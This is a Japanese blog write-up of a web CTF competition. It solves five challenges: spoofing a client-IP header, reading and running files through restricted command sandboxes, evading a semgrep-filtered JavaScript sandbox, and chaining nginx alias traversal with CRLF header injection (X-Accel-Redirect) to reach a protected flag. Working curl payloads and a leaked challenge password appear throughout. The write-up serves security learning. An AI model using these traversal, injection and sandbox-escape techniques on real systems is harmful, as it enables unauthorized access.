12/5に開催されたFlatt Security Speedrun CTF #2に参加した。CTFの名前にもあるようにこれは第2回で、第1回はCODE BLUE 2023の中で開催されていた。イベントの趣旨は前回大会の記事を参照いただくとして、前回あまりに解かれなかったために新しい問題セットでリベンジしようということらしかった。競技時間は80分で、前回と同様に5問のWeb問が出題された。
2連覇を目指して参加したところ、無事に再び1位を獲得できた*1。しかしながら、全完はできず。確かに前回より全体的に難易度が下がっていた気がするものの、5問目のnginxに関してはどうだろう。
リンク:
- 問題のリポジトリ: この後のネタバレを読む前に挑戦されるとよいかもしれません
競技時間中に解いた問題
[目標タイム: 5分 / 区間タイム: 2分20秒2] X
x means x- header.
(問題サーバのURL)
添付ファイル: x.zip
ソースコードは次の通り。127.0.0.1
からアクセスしていることにすればフラグが得られるらしい。ただし、X-Forwarded-For
や X-Cloud-Trace-Context
といったヘッダは削除されるし、そもそも x
から始まるヘッダを与えていれば怒られる。こういう問題構成から、x
から始まらないけれども、X-Real-IP
のような挙動をするヘッダを探せということなのだろうと推測する。
import { getClientIp } from "request-ip"; const port = process.env.PORT || 3000; Bun.serve({ port, fetch(req) { // the remote server is running on Cloud Run, so these headers are sent. req.headers.delete("x-cloud-trace-context"); req.headers.delete("x-forwarded-for"); req.headers.delete("x-forwarded-proto"); if ([...req.headers.keys()].some((k) => k.startsWith("x"))) { return new Response("x header is banned!", { status: 400 }); } if ( getClientIp({ headers: Object.fromEntries(req.headers.entries()), }) === "127.0.0.1" ) { return new Response(process.env.FLAG); } return new Response("You are not coming from 127.0.0.1!"); }, });
request-ip
というライブラリを使っているようだったので、そのソースコードを確認する。いっぱい候補がある。適当に x
から始まっていない true-client-ip
を選んで送ってみる。フラグが得られた。
$ curl https://x-ofbjo9tumm-fuuaq4evkq-an.a.run.app/ -H "true-client-ip: 127.0.0.1" flag{not_only_x-forwarded-for}
flag{not_only_x-forwarded-for}
[目標タイム: 5分 / 区間タイム: 58秒2] busybox1
Read
/flag
.(問題サーバのURL)
添付ファイル: busybox1.zip
与えられたURLにアクセスすると、なんかOSコマンドを実行できそうなフォームが表示される。pwd
や id
といったコマンドを実行すると、その結果が返ってきた。
ソースコードは次の通り。競技中は真面目にソースコードを確認せず、/flag
にフラグが書き込まれていることと、cat
や sh
といったコマンドは使えず、また /bin
下のバイナリしか実行できないというところだけ読んでいた。
const port = process.env.PORT || 3000; if (process.env.FLAG) { Bun.write("/flag", process.env.FLAG); delete process.env.FLAG; delete Bun.env.FLAG; } Bun.serve({ port, async fetch(req) { const path = new URL(req.url).pathname; if (req.method === "POST" && path === "/run") { const json = await req.json(); const command = json.command; if ( !Array.isArray(command) || !command.every((c): c is string => typeof c === "string") || command.length === 0 ) { return Response.json({ error: "Invalid command." }); } if (command[0].includes("/")) { return Response.json({ error: "Only commands in /bin are allowed!" }); } if (["cat", "sh"].some((banned) => command[0].includes(banned))) { return Response.json({ error: "Banned!" }); } command[0] = "/bin/" + command[0]; try { const proc = Bun.spawnSync(command, { env: Bun.env }); return Response.json({ stdout: proc.stdout.toString(), stderr: proc.stderr.toString(), }); } catch (e: unknown) { return Response.json({ error: String(e), }); } } return new Response(Bun.file("index.html")); }, });
xxd /flag
を試したらいけた。
flag{you_can_read_any_file_without_cat}
[目標タイム: 10分 / 区間タイム: 1分18秒2] busybox2
Run
/getflag
.(問題サーバのURL)
添付ファイル: busybox2.zip
今度は /flag
を読むのではなく、/getflag
という実行ファイルを実行せよということらしい。ただ、やはり cat
や sh
は実行できないし、/bin
下の実行ファイルしか実行できない。
const port = process.env.PORT || 3000; Bun.serve({ port, async fetch(req) { const path = new URL(req.url).pathname; if (req.method === "POST" && path === "/run") { const json = await req.json(); const command = json.command; if ( !Array.isArray(command) || !command.every((c): c is string => typeof c === "string") || command.length === 0 ) { return Response.json({ error: "Invalid command." }); } if (command[0].includes("/")) { return Response.json({ error: "Only commands in /bin are allowed!" }); } if (["cat", "sh"].some((banned) => command[0].includes(banned))) { return Response.json({ error: "Banned!" }); } command[0] = "/bin/" + command[0]; try { const proc = Bun.spawnSync(command, { env: Bun.env }); return Response.json({ stdout: proc.stdout.toString(), stderr: proc.stderr.toString(), }); } catch (e: unknown) { return Response.json({ error: String(e), }); } } return new Response(Bun.file("index.html")); }, });
ls /bin
を実行して、出力された実行ファイルの一覧を見る。xargs
が目に入った。
flag{you_can_directly_run_busybox_sh_btw}
[目標タイム: 20分 / 区間タイム: 33分37秒5] semgrep
It's brand new semgrep-js-sandbox!
(問題サーバのURL)
添付ファイル: semgrep.zip
ソースコードは次の通り。Bun上で好きなJSコードが実行されるのだけれども、完全に自由というわけではない。semgrepによって事前によろしくない(とされている)処理、たとえば eval
だったり、配列だったりが存在していないかがチェックされており、もしこのチェックに引っかかればそこで中断される。フラグは /flag
というファイルに書き込まれているので、それを読めばよさそう。
const port = process.env.PORT || 3000; if (process.env.FLAG) { Bun.write("/flag", process.env.FLAG); delete process.env.FLAG; delete Bun.env.FLAG; } async function semgrep(code: string, options?: string[]) { const proc = Bun.spawn( [ "/usr/local/bin/semgrep", "--metrics=off", "--disable-version-check", ...(options ?? []), ], { stdin: "pipe", stdout: "pipe", stderr: "pipe", env: { ...process.env, XDG_CONFIG_HOME: "/tmp", SEMGREP_VERSION_CACHE_PATH: "/tmp/semgrep_version", }, }, ); proc.stdin.write(code); proc.stdin.end(); let stdout = ""; for await (const chunk of proc.stdout) { stdout += new TextDecoder().decode(chunk); } let stderr = ""; for await (const chunk of proc.stderr) { stderr += new TextDecoder().decode(chunk); } return { stdout, stderr }; } Bun.serve({ port, async fetch(req) { const path = new URL(req.url).pathname; if (req.method === "POST" && path === "/run") { const json = await req.json(); const code = json.code; if (typeof code !== "string") { return Response.json({ error: "Invalid code." }); } try { const { stdout: semgrepJson } = await semgrep(code, [ "--config=./config.yml", "--json", "-", ]); const { stdout, stderr } = await semgrep(code, [ "--config=./config.yml", "-", ]); let output = ""; if (JSON.parse(semgrepJson).results.length === 0) { output = String( await new Function( `"use strict"; return (async () => { return ${code} })();` )() ); } return Response.json({ output, stdout, stderr, }); } catch (e: unknown) { return Response.json({ error: String(e), }); } } return new Response(Bun.file("index.html")); }, });
ルールの一覧は config.yml
に存在しているが、150行超もあり読むのが面倒だ。色々試しつつ、引っかかったらそのルールを調べてバイパスするという感じでやっていきたい。
まずこの問題での目標を考える。/flag
を読めばよいということで、Bunにおけるファイルの読み書きについて調べたところ、await Bun.file('/flag').text()
でできることがわかった。早速実行してみるが、以下のように "forbidden spells" が含まれているし、文字列が使われていると怒られてしまった。
Bun
が "forbidden spells" に引っかかっているほか、文字列リテラルを使っているのがダメらしい。こういうJSの曲芸なら慣れている。後者は String.fromCharCode
で置き換えられる。前者は globalThis[String.fromCharCode(…)]
で置き換えられる。 await (globalThis[String.fromCharCode(66, 117, 110)].file(String.fromCharCode(47, 102, 108, 97, 103))).text()
を実行してみたところ、ローカルではフラグを得られた。しかしながら、本番サーバでは以下のように503が出てしまう。CTFの運営に尋ねたものの原因はその場ではわからず、別の方法を探すことになった。
前回の記憶から fetch('file:///etc/passwd')
のように fetch
を試してみたものの、やはり503が返ってくる。
色々試していく中で、なぜか以下のように JSON.stringify(await Bun.file('/flag').stream().getReader().read(x=>x.value))
相当のコードを実行することで、フラグが得られた。
(JSON.stringify(await ((globalThis[String.fromCharCode(66, 117, 110)].file(String.fromCharCode(47, 102, 108, 97, 103))).stream().getReader().read(x=>x.value))))
flag{broken_js_have_no_semantics}
競技終了後に解いた問題
[目標タイム: 20分 / 区間タイム: 解けず] nginx
https://github.com/yandex/gixy is your friend!
(問題サーバのURL)
添付ファイル: nginx.zip
次のようなnginxの設定ファイルが与えられる。/admin/flag
にアクセスするとフラグが得られるけれども、これは internal
と内部からのリクエストでなければ404を返すし、BASIC認証がかけられているし、あと limit_rate 1
とめっちゃ厳しいレートリミットが設定されているしという感じで、これらをなんとかしたい。
server { listen ${PORT}; server_name localhost; location / { root /usr/share/nginx/html; index index.html index.htm; } # vuln1: https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md location /alias-traversal { alias /usr/share/nginx/html/; } # vuln2: https://github.com/yandex/gixy/blob/master/docs/en/plugins/httpsplitting.md location ~ /header-injection/([^/]*) { add_header X-Header-Injection $1; return 200; } location /admin { auth_basic "Administrator's Area"; auth_basic_user_file /usr/share/nginx/.htpasswd; location ~ /admin/proxy/(.*) { proxy_pass http://127.0.0.1:${PORT}/$1; } location /admin/flag { # https://nginx.org/en/docs/http/ngx_http_core_module.html#internal internal; # so slow... you will be timed out! limit_rate 1; return 200 "${FLAG}"; } } }
まずBASIC認証の突破だけれども、/alias-traversal
という明らかに怪しいパスがあり、わざわざコメントでリンクまで張られているけれども、ここで location
がスラッシュで終わっていないために、たとえば /alias-traversal../hoge
のようにしてPath Traversalができる。これで以下のようにして、まずBASIC認証のパスワードが得られた。
$ curl --path-as-is https://nginx-qmw11n6i0i-fuuaq4evkq-an.a.run.app/alias-traversal../.htpasswd ctf:{PLAIN}80aad5dfcc567e6c5f586d6d426cf20a40f3e9ba98c0ccd2df3c2a6d41014106
次にいかにして /admin/flag
にアクセスするかだけれども、これは /admin/proxy/…
の proxy_pass
が使える。一応アクセスはできるけれども、あまりに遅くてタイムアウトしてしまう。limit_rate
と聞くと Range
ヘッダを思い出すけれども、残念ながらそれを使ってもタイムアウトする。
$ curl -i -u ctf:80aad5dfcc567e6c5f586d6d426cf20a40f3e9ba98c0ccd2df3c2a6d41014106 --path-as-is https://nginx-qmw11n6i0i-fuuaq4evkq-an.a.run.app/admin/proxy/admin/flag upstream request timeout
競技時間中はここまでしかできなかった。/header-injection/
でどう考えてもヘッダインジェクションができるけれども、たとえば Location
を使っても proxy_pass
は無視して遷移してくれなかった。競技終了後に作問者のakiymさんから解説があったけれども、X-Accel-Redirect
というヘッダが使えたらしい。実は internal
ディレクティブのドキュメントで、
Internal requests are the following:
- …
- requests redirected by the “X-Accel-Redirect” response header field from an upstream server;
という形で言及されていたそう。また、X-Accel-Limit-Rate
というヘッダでレートリミットを上げられたらしい。なるほど、たしかにできた。実はこの X-Accel
を使う問題を以前解いたことがあったものの、思い出せなかった。
$ curl -u ctf:80aad5dfcc567e6c5f586d6d426cf20a40f3e9ba98c0ccd2df3c2a6d41014106 --path-as-is https://nginx-qmw11n6i0i-fuuaq4evkq-an.a.run.app/admin/proxy/header-injection%2fhoge%250d%250aX-Accel-Redirect:%25252fadmin%25252fflag%250d%250aX-Accel-Limit-Rate:1000%250d%250a flag{x_header_again_and_everything_is_hidden_in_x}
flag{x_header_again_and_everything_is_hidden_in_x}
*1:Speedrun CTF #1, mini CTF #3, Speedrun CTF #2とFlatt Securityが開催するCTFで3連続で1位を取れて嬉しい…のだけれども、今後はもし入賞できたとしても賞品をもらうのは辞退すべきではないかと思うところ